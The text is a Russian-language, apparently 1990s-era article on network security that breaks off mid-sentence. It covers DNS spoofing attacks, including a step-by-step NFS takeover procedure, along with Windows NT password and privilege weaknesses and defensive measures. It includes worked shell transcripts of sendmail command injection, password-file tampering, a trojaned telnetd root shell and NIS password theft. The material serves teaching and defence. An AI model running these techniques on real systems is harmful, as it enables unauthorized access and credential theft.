Атака и защита DNS

Атаки на DNS

Потенциальная возможность удаленных атак с использованием ложных серверов DNS известна давно. В литературе подобные атаки называют подменой DNS (DNS spoofing). Вместе с тем к их эффективности относятся весьма скептически. Так, в одном из самых авторитетных изданий по проблемам сетевой безопасности "Maximum Security. A Hacker's Guide to Protecting Your Internet Site and Network" издательства Sams.net Publishing, 1997 утверждается, что несмотря на опасность атаки типа подмены DNS реализовать ее крайне трудно. Кроме того, обнаружить и обезвредить атаку (а порой даже ее попытку) не так уж и сложно. К сожалению, это верно в общем случае, а в частностях все может быть совсем иначе. Наибольшие нарекания вызвало то обстоятельство, что клиент обращается к конфиденциальному серверу (обратите внимание на имя сервера - TOP.SECRET.COM) через Internet по обычным протоколам. Да, действительно весьма оригинально. Вот где хакерам развернуться-то. Даже подмену DNS использовать необязательно: есть ведь гораздо более простые и эффективные методы взлома. Максимальную степень защиты может дать шифрование данных или применение протоколов с такими возможностями (к примеру, PPTP, SSL, S/MIME, SSH и т. д.), и именно их используют для обмена конфиденциальной информацией и для доступа к закрытым серверам как в локальных, так и в глобальных сетях (а совсем не протоколы telnet или ftp). Такие протоколы защищают не только от возможности подмены объектов, но даже от перлюстрации. Иногда применяют протоколы с подписью пакетов (например, протокол NCP в NetWare), но они, как правило, не предотвращают перлюстрацию, хотя и препятствуют несанкционированному доступу. При шифровании данных атаки типа подмены DNS или подмены IP-адресов будут практически безрезультатны. Если же применять в глобальных сетях обычные протоколы (telnet, ftp, HTTP и т. п.), то об обмене конфиденциальной информацией или о доступе в удаленную систему с привилегированными полномочиями лучше забыть. Теперь относительно самих атак с подменой DNS. Очевидно, что наиболее эффективны атаки, связанные с перехватом запросов DNS. В этом случае ложный сервер DNS перехватывает запрос к настоящему серверу DNS и посылает ответ клиенту раньше настоящего сервера от имени последнего. Для реализации такой атаки необходимо, чтобы ложный сервер DNS был подключен к цепочке клиент-настоящий сервер DNS, однако у хакера очень мало шансов получить к ней доступ. Но и это еще не все. Поскольку подавляющая часть конфиденциальной информации передается внутри сети предприятия, то подключение к цепочке клиент-локальный сервер DNS было бы для хакера манной небесной. Перехват на уровне Internet хакеру, конечно, тоже интересен, но там важную информацию стараются передавать в зашифрованном виде. В серьезной организации вероятность получения физического доступа хакера к сети предприятия невысока. В банках, например, практикуется изъятие дисководов флоппи-дисков и CD-ROM из компьютеров сотрудников, что лишает их возможности устанавливать программы, минуя администраторов. Более того, сотрудникам под угрозой немедленного увольнения запрещается вскрывать компьютеры или отключать их от локальной сети. Если хакер получил физический доступ к локальной сети, а еще хуже к тому сегменту сети, где работают администраторы, то сеть попросту обречена. И здесь есть гораздо более эффективные и трудно раскрываемые способы вторжения, чем атаки с перехватом запросов DNS. Но это, как говорится, другая песня. Иной тип атаки связан со "штормом" ложных ответов DNS. Особенность такой атаки в том, что ложный сервер DNS не располагается в цепочке клиент-настоящий сервер и не может перехватить запросы DNS. Поэтому он не знает ни адреса клиента, ни имени машины, адрес которой ищет клиент. Ложный сервер DNS не может даже предугадать время запроса. Вдобавок хакер имеет дело еще с целым рядом неизвестных, например с используемым протоколом, номером программного порта, с которого посылается запрос, и порядковым номером DNS-пакета при запросе. В качестве объекта атаки обычно выбирается активный клиент сети. Ставка делается на то, что клиент будет пытаться связаться с каким-либо широко известным сервером, к примеру www.altavista.digital.com. Правда, даже если атака удастся, то в лучшем (для хакера) случае он сможет только изменить заставку сервера AltaVista на какую-нибудь скабрезную картинку. Методом простого перебора UDP-портов клиента и идентификаторов DNS-запросов ложный сервер DNS донимает потенциальную жертву "штормом" ложных ответов. Поскольку ложный сервер DNS в общем случае не знает, когда клиент обратится с DNS-запросом по конкретному узлу (в нашем примере www.altavista.digital.com), "шторм" ложных ответов должен продолжаться достаточно долго, чтобы атака была результативной. Кроме того, следует помнить, что корпоративная сеть всегда имеет несколько серверов DNS, причем приоритет их для клиента хакеру заранее не известен. Поэтому если цель атаки - проникновение внутрь корпоративной сети, то ложный сервер DNS должен генерировать ответы от имени всех серверов DNS сети, что приведет к резкому снижению производительности соединения локальная сеть-Internet на длительный промежуток времени. Администраторы могут достаточно быстро выявить попытку атаки посредством анализа трафика между локальной сетью и Internet. Гораздо более опасна атака на сервер DNS, поддерживающий рекурсивный режим. В этом режиме работает подавляющая часть серверов имен (кроме серверов доменов самых верхних уровней). Когда клиент DNS обращается к серверу с запросом, на который тот ответа не имеет, то сервер в свою очередь сам начинает опрашивать другие серверы DNS (т. е. выступает в качестве клиента DNS). После получения необходимой информации сервер заносит ее в кэш и отсылает ответ клиенту. Если другой клиент обратится с тем же запросом, то сервер DNS выдаст ответ из кэша. Это позволяет уменьшить нагрузку на сеть. Клиенты, кстати, также имеют кэш, в котором они хранят полученную информацию. Таким образом, если атакуется сервер DNS, то "подложная" информация будет распространяться среди его клиентов. К тому же путем несложных манипуляций можно определить, как долго та или иная информация (полученная с серверов имен других доменов) будет находиться в кэше сервера. Благодаря этому хакерам гораздо проще проводить атаки. В момент истечения времени кэширования информации хакер запускает на несколько секунд направленный "шторм" ложных ответов DNS на адрес атакуемого сервера DNS от имени сервера имен корневого домена. Опять же хакер обычно не знает, с какими узлами Internet работают станции корпоративной сети, и поэтому может ориентироваться лишь на распространенные серверы типа www.microsoft.com. Одновременно хакер посылает запрос к атакуемому серверу DNS с просьбой сообщить информацию по подменяемому объекту (www.microsoft.com), провоцируя сервер DNS обратиться к серверам корневого домена. Вполне вероятно, что атака удастся. Тем не менее последствия такой атаки вряд ли стоит считать катастрофическими: реального проникновения в корпоративную сеть она не даст. Объясняется это тем, что подмена может произойти лишь при обращении одного сервера DNS к другому. Таким образом, если хост A обращается к узлу B в пределах одного домена, используя сервер имен домена, то атака с подменой DNS на этот сервер DNS не пройдет. Правда, существуют крупные сети, состоящие из нескольких доменов, каждый из которых обслуживается своими серверами DNS. Тогда хакер может провести атаку внутри этой сети. Но организации, имеющие подобные сети, всегда оборудуют их надежными брандмауэрами. А чтобы защититься от подобной атаки, достаточно отфильтровывать на брандмауэрах входящие IP-пакеты, адрес сети отправителя которых совпадает с внутренним адресом корпоративной сети. Если бы все дело ограничивалось только такими случаями, то разговор на этом можно было бы и закончить. Но существует ряд сетевых протоколов и приложений, способствующих организации очень опасных атак с подменой DNS.

Ловля на живца

Речь идет о приложениях, устанавливающих доверительные отношения на основе доменных имен хостов, а не паролей пользователей. К ним относятся NFS, NIS, SMTP, X, rsh, rlogin, rcp и отчасти ftp и rexec (когда задействованы конфигурационные файлы типа $HOME/.netrc). Если использовать упомянутые приложения даже исключительно внутри сети предприятия и не задействовать хорошо продуманную систему безопасности, то хакерам посредством атаки с подменой DNS достаточно просто получить доступ к сети извне. Рассмотрим сеть, где отсутствуют средства безопасности и где используется сетевая файловая система NFS (Network File System) версии 2. Эта версия широко распространена в мире UNIX-систем. Когда на сервере NFS некая файловая система делается доступной для совместного использования в сети, то говорят, что она экспортируется. Чтобы обеспечить доступ к сетевой файловой системе, клиент NFS должен ее смонтировать (импортировать). Сервер NFS при запросе на монтирование проверяет, имеет ли клиент необходимые полномочия, при этом сервер ориентируется на доменное имя клиента. Если клиент наделен необходимыми полномочиями, то ему сообщается некий ключ, который в дальнейшем используется при обращении к файловой системе. Ключ действителен до перезагрузки сервера NFS. Задача хакера - получить ключ. В случае, когда файловая система экспортируется с правами записи, и особенно с правами доступа привилегированного пользователя (root), хакер может натворить в ней немало бед.

Чтобы лучше понять механизм атаки, рассмотрим ее в виде последовательности действий хакера.

1. Для атаки необходимо выбрать сеть, в которой используются UNIX-системы (NFS применяется чаще всего в UNIX). В качестве примера возьмем сеть company.COM.

2. С помощью программы nslookup, входящей во все серьезные ОС, на сервере имен зоны COM можно узнать доменные имена и IP-адреса серверов имен зоны company.COM.

3. Используя все ту же программу nslookup, необходимо переписать информацию по зоне company.COM с одного из серверов имен этой зоны. Таким образом хакер получит информацию по всем хостам данной зоны. Кроме того, он узнает значение поля <Minimum> записи SOA, которое так же, как значение поля <TTL> у записей хостов, характеризует время кэширования данных DNS на клиентских машинах.

4. Поскольку есть вероятность, что в сети находятся скрытые серверы имен, о которых не знает сервер DNS зоны COM и которые не отражены в информации по зоне, следует опросить хосты на наличие демона named (порт 53 протоколов UDP и TCP). Все выявленные хосты являются серверами имен.

5. Теперь необходимо выявить серверы NFS, что делается путем опроса порта 2049 протокола UDP на хосте.

6. С помощью утилиты showmount, входящей в набор программного обеспечения клиентской части NFS, можно узнать, какие файловые системы экспортируются сервером NFS. В некоторых реализациях NFS запускать showmount позволяется только с машин, входящих в тот же домен DNS. Это ограничение легко можно обойти.

7. Для осуществления атаки необходимо написать программу, реализующую передачу ответа сервера DNS. Такая программа должна позволять менять адрес отправителя в IP-пакете.

8. Клиентов NFS гораздо сложнее обнаружить. Часто помогает внимательное изучение информации по зоне, в особенности записей HINFO. Если никакой дополнительной информации нет, можно выбрать хост наугад. Пусть это будет host.company.COM.

9. Периодически проверяя доступность выбранного клиента (host.company.COM) с помощью программы ping, можно определить график его работы. Лучше подобрать клиента, который отключается на выходные.

10. Атаку следует проводить с учетом значения времени кэширования данных на клиентских местах DNS (DNS, а не NFS!). Например, если время кэширования равно одним суткам, а клиент NFS отключился вечером в пятницу, то начиная с вечера субботы в кэш-памяти DNS сервера NFS отсутствует информация по данному клиенту NFS. При новом обращении к серверу NFS со стороны клиента NFS, первый для получения информации по клиенту NFS должен будет вновь обратиться к серверу DNS. Из этого следует, что чем меньше время кэширования, тем проще организовать атаку.

11. Теперь все готово для проведения атаки. Используя ложный клиент NFS (он выполняет роль приманки), следует дать команду на импортирование файловой системы с сервера NFS. Одновременно на несколько секунд необходимо организовать "шторм" ответов DNS со стороны ложного сервера DNS. Ложные ответы должны направляться на сервер NFS и содержать преобразование IP-адреса ложного клиента NFS в доменное имя истинного клиента NFS. Ложные ответы DNS упаковываются в IP-пакеты, у которых в качестве обратных адресов стоят IP-адреса серверов имен домена company.COM. Подбор UDP-портов и порядковых номеров DNS-пакетов с ответами можно выполнять по методике Медведовского.

12. Сервер NFS, получив запрос на монтирование сетевой файловой системы со стороны мнимого host.company.COM, посылает в свою очередь запрос серверу DNS, чтобы определить, что это за хост. Именно на основании этой информации сервер NFS оценивает полномочия хоста. Существует достаточно высокая вероятность того, что сервер NFS получит раньше не истинный, а ложный ответ DNS. Если хост host.company.COM не имеет права импортировать файловую систему, то следует выбрать другой хост и повторить все начиная с п. 8.

Очевидно, что обнаружить такую атаку намного труднее, навредит же она больше, чем обычные варианты атаки с подменой DNS.

Защита от атак на DNS

Если внутри корпоративной сети либо вне ее используется конфиденциальная информация или если организуется доступ к закрытым ресурсам, то лучше всего применять протоколы с шифрованием данных. Однако далеко не вся информация подпадает в разряд секретной. При хорошо проработанной технике безопасности внутри корпоративной сети, как правило, можно ограничиться использованием обычных и недорогих приложений, работающих по стандартным сетевым протоколам. Из-за открытости Internet ситуация там значительно сложнее. Поэтому применять ftp или telnet не стоит, даже когда просто осуществляется доступ к обычным ресурсам, но с привилегированными полномочиями (например, с правами на запись). Если в корпоративной сети, подключенной к Internet, используются приложения и протоколы NFS, NIS, rcp, rlogin, rsh, то необходимо отрезать доступ по этим протоколам извне, что делается с помощью фильтра IP-пакетов на пограничном маршрутизаторе или брандмауэре. Вдобавок следует в обязательном порядке запретить применение тех приложений X и ftp, которые осуществляют аутентификацию только по доменному имени машины или имени пользователя. Желательно также ограничить одной-двумя машинами доступ извне корпоративной сети по протоколу SMTP. В отношении этих машин нужно предпринять повышенные меры безопасности. Крайне важно также отфильтровывать на пограничном маршрутизаторе или брандмауэре все IP-пакеты, адрес отправителя которых совпадает с внутренними IP-адресами сети. Вот, так сказать, малый джентльменский набор рекомендаций. В полной мере против атак с подменой DNS он не спасает, как не спасает и установка самых мощных и дорогих брандмауэров.

Это связано с тем, что DNS представляет собой распределенную и по существу открытую базу данных. Она не задействует даже минимальных средств аутентификации, а до недавнего времени и вовсе не имела защиты. Начиная с версии 4.9.3 в спецификацию BIND было внесено несколько директив и типов записей DNS, которые призваны несколько улучшить защиту серверов имен. Директива xfrnets файла начальной загрузки (/etc/named.boot) позволяет указать список IP-адресов сетей и серверов имен, на которые данный сервер имеет право пересылать информацию по зоне (операция зонной пересылки). Второе важное новшество - введение особого типа записи ресурсов TXT под названием SECURE_ZONE. Такая запись управляет перечнем машин и сетей (по IP-адресам), которым разрешено запрашивать данный сервер имен. Но несмотря на эти нововведения для отражения атак с подменой DNS требуется принять еще ряд мер. Среди них наиболее распространенной является установка двух серверов DNS: внешнего и внутреннего. Внутренний сервер DNS предназначен исключительно для обслуживания внутренних клиентов сети. На нем хранится вся информация о хостах корпоративной сети. Благодаря использованию записей типа SECURE_ZONE этот сервер могут запрашивать только внутренние хосты. Более того, на брандмауэре устанавливается фильтр, который не пропускает IP-пакеты, направляемые в корпоративную сеть и предназначенные для порта 53 протоколов UDP и TCP внутреннего сервера DNS. Т. е. снаружи такой сервер DNS делается невидимым. Однако он сам может обращаться за информацией к серверам DNS сети Internet. Внешний сервер DNS предназначен для обслуживания запросов извне. На нем размещают информацию лишь о тех ресурсах корпоративной сети, которые будут доступны из Internet (серверы Web, ftp, почтовые шлюзы и т. п.). Серверы имен родительских доменов должны содержать информацию только о внешнем сервере DNS. Такая тактика хоть и не может полностью предотвратить атаки с подменой DNS, максимально затрудняет действия хакера. Если к ней добавить постоянный мониторинг сетевого трафика соединения локальная сеть-Internet, то можно утверждать, что шансы хакеров не так уж велики. В настоящее время на стадии утверждения в качестве стандарта Internet находится документ RFC 2065 "Domain Name System Security Extensions", в котором введены новые расширения DNS, такие как использование криптографической цифровой подписи. Планируется, что в следующем году спецификация DNS BIND v.8 будет включать поддержку RFC 2065 (реализации BIND для различных ОС свободно распространяются и доступны на сервере http://www.vix.com). Таким образом, отпадут практически все проблемы, связанные с безопасностью DNS.

Уязвимости ОС Windows NT

Уязвимости парольной системы

Рассмотрение уязвимостей ОС Windows NT по аналогии с UNIX-системами начнем с уязвимостей парольной системы.

Информация о всех пользователях Windows NT и их паролях хранится в базе данных системы (registry), а физически расположена в файле %SystemRoot%\SYSTEM32\CONFIG\SAM - базе данных безопасности системы. Данный файл является по умолчанию читаемым, но "запертым", т.к. используется прочими компонентами системы. Копия данного файла содержится в директории %SystemRoot%\REPAIR\ после создания администратором восстановительного (repair) диска и легко может быть скопирована оттуда. После инсталляции ОС база данных безопасности системы содержит только пользователей Administrator и Guest.

Однако сами пароли в открытом виде, естественно, не содержатся в данном файле. Пароль пользователя (в кодировке UNICODE) с использованием хэш-алгоритма MD4 превращается в 16-байтное значение, которое и находится в файле SAM.

Таким образом, для того, чтобы сломать пароль в Windows NT, злоумышленнику необходимо выделить из базы данных безопасности системы имя пользователя и соответствующее ему хэш-значение. Данная процедура может быть выполнена с использованием программы PWDUMP, разработанной Jeremy Allison и свободно распространяемой. Использование данной программы требует привилегий Administrator (для того, чтобы иметь доступ по чтению к соответствующим значениям registry), но она может использоваться в том случае, если с атакуемой системы удалось получить копию базы данных безопасности системы.

После выделения паролей и соответствующих им хэш-значений может быть использована одна из многих программ взлома пароля методом перебора или атаки по словарю - скорость перебора составляет примерно 2500 паролей/сек на компьютере класса Pentium. При этом, в отличие от UNIX, в Windows NT отсутствует понятие salt, вследствие чего словарь может быть предварительно схэширован и скорость тем самым может быть поднята на несколько порядков. В Service Pack 3 хэш-значения зашифрованы алгоритмом DES, причем ключом является значение, легко выводимое из атрибута пользователя RID.

Как было отмечено в начале, Windows NT оценивалась в конфигурации "без дисковода". Существуют нарушения безопасности системы, связанные с получением злоумышленником доступа к консоли, если дисковод все же есть. Может быть получен доступ к любым файлам в системе при загрузке с дискеты ОС MS DOS, если используется файловая система VFAT. При использовании же файловой системы NTFS возможен беспрепятственный доступ по чтению с помощью утилиты NTFSDOS. Аналогично, загрузка с дискеты ОС Linux с последующим монтированием раздела NTFS обеспечивает доступ к нему по чтению и записи.

Как также было отмечено, ОС Windows NT сертифицировалась в конфигурации не только без дисковода, но и в отсутствии сетевого окружения. При этом использование ее как ОС, подключенной к сетям TCP/IP автоматически приводит к успеху типовых удаленных атак, распространенных в этих сетях: подмену IP-адреса (IP spoofing), внедрение ложных объектов через протоколы ARP, DNS и ICMP, предсказание TCP-идентификатора (TCP number prediction) и т.п.

Более того, Windows NT оказалась не только не лучше отражающей эти атаки, чем UNIX, а даже хуже - в частности, она подвержена атаке, связанной с IP-фрагментацией. Эта атака предназначена для проникновения через файрвол (firewall), путем разбиения IP-пакета на пакеты меньшей длины и последующим его восстановлением на атакуемом хосте. Из-за ошибки в ОС, которая не отслуживает накладывающиеся друг на друга фрагменты, может быть получен такой пакет, который иначе был бы не пропущен файрволом.

Существуют также удаленные атаки, специфичные только для Windows NT. В результате атаки, называемой Red Button, база данных registry становится доступной для незарегистрированного пользователя. При этом может быть получен список пользователей системы и список разделяемых объектов системы. Это происходит из-за того, что в системе имеется встроенный пользователь anonymous, обычно используемый при связи между двумя машинами. Данный пользователь является членом группы Everyone. Следовательно:

• любой, разделяемый группой Everyone объект является уязвимостью;
• файл аудита системы и приложений может быть прочитан;
• все элементы базы данных системы, к которым Everyone имеет соответствующий доступ, могут быть записаны и прочитаны;
• с использованием Lan Manager может быть получен список всех пользователей и разделяемых объектов.

Если группа Everyone имеет доступ к приложениям, в систему может быть встроен троянский конь.

Если все рассмотренные выше уязвимости системы были связаны с ошибками в проектировании, то далее рассмотрим уязвимость, связанную с ошибкой в реализации системы. Данная уязвимость приводит к возможности атаки, называемой GetAdmin. Уязвимым является системный сервис NtAddAtom, не проверяющий параметры, переданные ему, и устанавливающий бит 0 по адресу NtGlobalFlag+2. Для этого необходимо открыть файл ntoskrnl.exe и найти точку входа в NtAddAtom. Установка данного бита отключается проверка привилегий отладчика в NtOpenProcess и NtOpenThread. Таким образом, любой пользователь имеет право открыть любой процесс в системе. Атака открывает процесс Winlogon и встраивает dll к нему. Так как данный сервис имеет привилегии SYSTEM, он может добавить пользователя к группе Administrator или удалить его из данной группы. Теоретически возможны и другие нарушения безопасности системы.

Причины уязвимости

В отличие от описания проблем с безопасностью у UNIX, пойдем по обратному пути: сначала классифицируем возможные способы нарушения безопасности Windows NT, а затем будем приводить примеры. Ясно, что механизм демонов, отвечающих за обработку соединений с тем или иным TCP-портом, должен был остаться и в Windows NT. Действительно, все основные службы, используемые в Internet, – ftp, WWW или e-mail – должны поддерживаться любой ОС, включающей в себя реализацию стека протоколов TCP/IP. Более того, все основные команды для работы с ними также стандартизованы. Пусть в Windows NT эти программы называются не демонами, а серверами, суть от этого не меняется, а именно: как и в случае UNIX-систем, некий неидентифицируемый пользователь (человек, сидящий за своим компьютером по другую сторону океана) тоже может давать некоторые команды серверам, подключившись на соответствующий порт. Отсюда ясно, что от классических проблем с переполнением буфера Windows NT принципиально не может быть защищена. Естественно, что неудачного механизма SUID/SGID-программ, являющегося основным источником получения привилегированных прав в UNIX, в Windows NT нет. Тем не менее в операционной системе, где одновременно функционируют процессы с разными привилегиями, всегда потенциально можно получить права более привилегированного процесса. Этого нельзя сделать только в том случае, когда система написана так, что не содержит ошибок во внедрении и реализации не только подсистемы разграничения доступа, но и всего ядра ОС, управляющего процессами, файловой системой и т. п. Для современных ОС, объем исходного кода которых исчисляется сотнями тысяч строк (а для Windows NT 5.0 – около 5 миллионов), гарантировать отсутствие ошибок нельзя при любых технологиях написания этого кода и любом мыслимом уровне тестирования. Windows NT содержит процессы (они называются сервисами), которые запускаются чаще всего от имени system. Это специальное имя не сильно афишируется (по крайней мере, вы не найдете его в списке имен пользователей программы User manager) и обладает полномочиями администратора на локальной машине. Таким образом, запустив программу от имени system, злоумышленник получает возможности, сравнимые с возможностями суперпользователя для UNIX-систем. Такой запуск может быть реализован как классическими методами типа переполнения буфера, так и специфичными для Windows NT способами. Как вы помните, в некоторых случаях пользователь может подключаться к UNIX без предъявления пароля. В Windows NT такой механизм отсутствует, однако возможность нелегального (или полулегального) подключения к Windows NT все же остается. Дело в том, что в этой системе существуют некие пользователи и группы со стандартными общеизвестными именами. Один из пользователей – Guest, по умолчанию имеющий пустой пароль, – действительно хорошо известен и хакерам, и администраторам. Именно поэтому он запрещен по умолчанию, что делает его не очень ценной находкой для злоумышленников. Однако существует другой, менее известный (по крайней мере, администраторам) пользователь – анонимный (не путать с анонимным пользователем ftp или http), с пустым именем и паролем (не пытайтесь, однако, при входе в систему оставить пустыми имя и пароль пользователя – это не сработает, для анонимного подключения к компьютеру требуется другая процедура, о которой мы расскажем чуть позже), поэтому он несколько отличается от обычных пользователей, но тем не менее обладает правами, сходными с правами группы Everyone (все).

Итак, классификацию всех пользователей (субъектов) Windows NT аналогично пользователям UNIX можно представить в следующем виде:

1. Администраторы – все права на локальном компьютере или домене. Отличие от UNIX в том, что их может быть много.

2. Обычные пользователи – аналогично UNIX.

3. Специальные пользователи – предопределенные имена, как правило, использующиеся системой. Могут иметь достаточно широкие полномочия.

4. Псевдопользователи – удаленные пользователи, взаимодействующие с сетевыми серверами. Не являются пользователями как таковыми, не проходят регистрацию и не могут подключиться к компьютеру в явной форме – аналогично UNIX.

5. Анонимные пользователи – не имеют пароля, но имеют права, сходные с правами Everyone.

Отметим, что ошибки администрирования, которые были неизбежны в UNIX, в Windows NT, может быть, сделать и сложнее, но здесь есть другая особенность: пусть администратор знает, что ему нужно сделать, но не может – закрытость Windows NT не предоставляет ему таких гибких механизмов настройки, как UNIX. Практически всегда требования совместимости или переносимости противоречат требованиям безопасности. К примеру, несмотря на то что для Windows NT была разработана специальная хэш-функция, она вынуждена поддерживать еще одну, которая берет свое начало от самых первых сетевых приложений Microsoft. Поэтому в криптографическом плане Windows NT часто оказывается слабее UNIX. И еще достаточно часто Windows NT приходится поддерживать решения, которые являются устаревшими с точки зрения безопасности.

Несанкционированный доступ к UNiX через сеть

Повышение интереса к TCP/IP сетям обусловлено бурным ростом сети Internet. Однако это заставляет задуматься над тем, как защитить свои информационные ресурсы и компьютеры от различного рода злоумышленников. Для того, чтобы разработать реально действующие контрмеры, необходимо знать способы и методы
взломщиков. В мировом сообществе Internet уже давно ведется дискуссия о том публиковать или не публиковать материалы о методах проникновения в чужие компьютерные сети. После жарких обсуждений, похоже, была осознана необходимость полной открытости по этому вопросу. Для пересылки электронной почты по IP на подавляющем большинстве систем используется программа sendmail, разработанная в университете Беркли. Задуманная как чисто служебная утилита, эта программа приобрела огромную популярность и вошла в состав дистрибутива многих Unix-систем. Однако она содержала в себе очень серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на удаленной машине команды с привилегиями суперпользователя. Обычно взломщики пытались отправить себе файл passwd для подбора паролей либо помещали свою информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без запроса пароля (Пример 1).

ПРИМЕР 1
crack% telnet target.remote.com 25
Connecting to 123.456.654.321.
! соединяемся по порту 25 - это SMTP
220 sendmail SMI/4.3.5.2 ready
! версия, которая как известно, содержит ошибку.
helo xxx
220 Helo xxx, ( crack.edu )
mail from: "|echo crack.edu>/.rhosts"@target.remote.com
! подставляем команду вместо обратного адреса.
200 Sender ok.
rcpt to: nosuchuser
! вводим заранее неправильного адресата
500 nosuchuser: user unknown
! несмотря на сообщение, продолжаем диалог.
data
230 Enter mail, end with "."
200 Mail accepted
! все, машина взломана....
quit
crack% su
! А теперь залезаем так, чтобы нас не было видно через who
# rsh target.remote.com /bin/csh -i
Welcome to remote.com!
Warning! No access to terminal, job control disabled!
target#

Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix самых разных фирм. Кроме того, существуют и более простые способы при благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен, система поставлена, и ничего не исправлялось (Пример 2).

ПРИМЕР 2
crack# su - bin
$ rsh target.remote.com /bin/csh -i
! В файле /etc/hosts.equiv есть запись "+" и ошибка...
Welcome to remote.com!
! Каталог /etc с владельцем bin...
Warning! No access to terminal, job control disabled!
% ls -ldg /etc
drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/
% cd /etc
! Делаем passwd доступным на запись нам...
% mv passwd passwd.was
% cp passwd.was passwd
! Редактируем
% ed passwd
2341
1p
root:Nkkh&5gkljGyj:0:0:Root:/:/bin/csh
s/Nkkh&5gkljGyj//p
root::0:0:Root:/:/bin/csh
w
2341
q
! И в суперпользователя.
%echo /bin/csh -i | su root
Warning! No access to terminal, job control disabled!
target# mv /etc/passwd.was /etc/passwd
! Чтобы никто не обнаружил, что мы делали.

Кроме электронной почты в TCP/IP сетях очень широко применяются различные виды распределенных файловых систем, самой популярной из которых является Network File System (NFS). В случае неаккуратного заполнения файла /etc/exports или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая ситуация (Пример 3).

ПРИМЕР 3
crack% showmount -e target.remote.com
Export list for target.remote.com
/home Everyone
/disk3 neptun pluton alpha
! Домашние каталоги доступны по NFS
crack% su
# mount -t nfs target.remote.com:/home /mnt
# cd /mnt
! Монтируем каталог к нам
# ls -ldg *
drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/
# echo crack.edu > user/.rhosts
! Устанавливаем .rhosts у пользователя
# cat >> /etc/passwd
user::257:20::/:
^D
! Создаем такого же у нас
# su - user
! Становимся им
$ rsh target.remote.com /bin/csh -i
Warning! No access to terminal, job control disabled!
! И заходим на удаленную машину
% id
uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)
% ls -ldg /usr/etc
! Каталог доступен на запись
drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc
% grep telnet /etc/inetd.conf
telnet stream nowait root /usr/etc/in.telnetd in.telnetd
! Нашли программу, которая запустится
!под root"ом из нашего каталога
% cd /usr/etc
% mv in.telnetd in.telnetd1
! создаем троянского коня
% cat > in.telnetd
#!/bin/sh
exec /bin/csh -i
^D
% chmod 755 in.telnetd
! и запускаем его
% telnet 127.1
Connecting 127.1.
Warning! No access to terminal, job control disabled!
# chown user /etc;
! Делаем /etc своим
^M: command not found
# exit;
^M: command not found
Connection closed by foreign host.
% cd /etc
! и далее как раньше как в примере 1.
.......

Если на машине работает NIS-сервер и не принято дополнительных мер, то с помощью специальной программы можно "утащить" по сети файл passwd, общий для некоторого числа машин. В случае несоблюдения правил при создании паролей, есть довольно приличная вероятность, что программа crack подберет несколько. Дальнейшие события могут разворачиваться по одному из сценариев для получения полномочий суперпользователя (Пример 4) (после того, как вы зашли на удаленную машину как пользователь).

ПРИМЕР 4
! проверяем на NIS сервер
crack% rpcinfo -p target.remote.com | grep bind
120000 2 udp 2493 ypbind
! есть такой...
crack% ypx -o target.passwd -g target.remote.com
! забираем файл паролей
crack% crack target.passwd
! и запускаем подборщик паролей
[ a lot of time ]
OK, user "user" has password "iamuser"
! нашли, заходим
crack% telnet target.remote.com
! далее как в предыдущем примере.
.....

Естественно, что если известны способы преодоления защиты, то должны быть разработаны и средства защиты. Для минимизации возможных попыток проникновения в сеть очень эффективен маршрутизатор, умеющий анализировать поток проходящей через него информации и осуществляющий фильтрацию пакетов. Эта возможность реализована практически во всех аппаратных маршрутизаторах (cisco, wellfleet...) и в виде специального ПО для Unix-машин (Sun, DEC, BSDI, FreeBSD). Такие маршрутизаторы позволяют осуществлять работу в сети строго по определенным правилам. Например, не пропускать из/в локальную сеть некоторые протоколы. Очень рекомендуется запрещать rlogin, rsh, RPC (см. Примеры), а также пакеты, направленные на порты 2048 и 2049, - это порты данных для NFS. Также рекомендуется четко определить машины, принимающие почту, и открыть порт 25 только для них. При необходимости возможна конфигурация, которая вообще запрещает какие-либо заходы по сети в локальную сеть, при этом разрешая изнутри использовать любые TCP-сервисы глобальной сети. Подобный маршрутизатор или комбинация из нескольких машин и фильтрующих маршрутизаторов получили название брандмауэр (от англ. firewall - стена огня). Для установления полного контроля за всеми соединениями можно использовать так называемый "программный брандмауэр" (software firewall). Он представляет собой своеобразный маршрутизатор, который осуществляет контроль за соединениями не на уровне IP-пакетов, а на уровне собственно контролируемых протоколов. В этом случае режим прозрачной пересылки пакетов выключен, но вместо программ, обеспечивающих работу с необходимыми протоколами (telnet, ftp...), запускаются программы, которые транслируют эти протоколы в сеть по другую сторону машины, обычно сверившись по базе данных на предмет правомерности такого соединения и после идентификации пользователя. Для пользователя такой брандмауэр выглядит единственным окном во внешний мир. Например, если в сети для того, чтобы зайти по ftp на машину arch.kiae.su, вам надо набрать:

% ftp arch.kiae.su
Connected to arch.kiae.su
Name: (arch.kiae.su: you)
230 Guest login ok, send ident as password
Password: you@your.site
230 - Hello, user@our.workstation.our.company.com
.....

то в случае программного брандмауэра надо набирать:

% ftp our-soft-firewall
Name: (our-soft-firewall:user) ftp@arch.kiae.su
Password: XXXXXXX
Connected to arch.kiae.su
Name: (arch.kiae.su: ftp)
230 Guest login ok, send ident as password
Password: you@your.site
230 - Hello, user@our-sort-firewall.our.company.com
.......

Аналогично работают telnet, rlogin, X11 и т.д. Все рассмотренные выше примеры относятся к так называемым "активным" методам. Аккуратное администрирование системы легко сводит на нет все рассмотренные дырки, но совершенно бессильно в случае применения "пассивной" атаки. Что это такое? Самый распространенный, простой в исполнении способ - анализ информации, передаваемой по каналам связи, преимущественно по сети Ethernet. Основан он на свойстве этой сети, благодаря которому каждый передаваемый пакет может быть проанализирован любой машиной, подключенной на этот сегмент сети. При наличии достаточно быстрой машины с адаптером, разрешающим работу в режиме приема всех пакетов, можно легко извлекать такую информацию, как пароли пакетов NFS. Если на этом сегменте расположено несколько маршрутизаторов, то в наш фильтр попадут не только пароли нашей сети, но и те, которыми обмениваются маршрутизаторы. Таким образом, за сравнительно короткое время можно собрать коллекцию паролей на нескольких сотнях машин. Для борьбы с такими методами в конце 80-х годов была разработана система сетевой идентификации пользователя под названием Kerberos. Основной целью было полное исключение пересылки паролей по сети. Пользователь вводит пароль только один раз при регистрации в системе, после чего ему выделяется 